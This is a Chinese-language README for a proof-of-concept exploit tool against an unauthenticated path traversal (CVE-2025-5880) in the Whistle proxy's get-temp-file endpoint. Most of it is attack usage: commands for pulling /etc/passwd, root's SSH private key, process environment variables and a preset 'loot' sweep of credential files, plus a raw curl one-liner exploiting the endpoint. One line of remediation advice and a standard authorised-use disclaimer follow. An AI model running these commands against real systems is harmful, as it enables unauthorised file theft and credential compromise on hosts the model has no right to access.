Whistle v2.9.98 中未经身份验证的路径遍历漏洞的 PoC 利用脚本。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2025-5880 |
| CWE | CWE-22(路径遍历) |
| 受影响软件 | Whistle ≤ 2.9.98 |
| 受影响端点 | /cgi-bin/sessions/get-temp-file |
| 攻击向量 | 网络 —— 无需身份验证 |
| 影响 | 可读取主机文件系统上的任意文件 |
filename 查询参数在使用前未经过滤,直接用于打开磁盘上的文件,攻击者可借此绕过预期的临时文件目录,读取 Whistle 进程有权访问的任何文件(例如 /etc/passwd、/root/.ssh/id_rsa)。
# 克隆仓库
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# 无需外部依赖
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# 读取 /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# 获取 root 的 SSH 私钥
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# 读取任意路径
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# 扫描并保存所有预设文件
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
将 Whistle 更新到能够验证并限制 filename 参数只能访问预期临时文件目录的版本。服务端应应用白名单路径规范化(例如 path.resolve 加前缀检查)。
此工具仅供授权的安全测试及教育目的使用。
对你不拥有或未经明确许可的系统进行未经授权的使用是非法且不道德的。
作者对任何滥用行为不承担任何责任。
| 标志 | 描述 |
|---|
-u / --url | 目标的基础 URL(例如 http://192.168.1.10:8899) |
-f / --file | 要读取的任意文件路径 |
--preset | 命名快捷方式:passwd shadow hosts id_rsa … |
--sweep | 自动遍历所有预设文件 |
-o / --output | 将结果保存到文件 |
--save-dir | --sweep 模式下保存战利品的目录 |
--timeout | HTTP 超时时间(秒,默认 10) |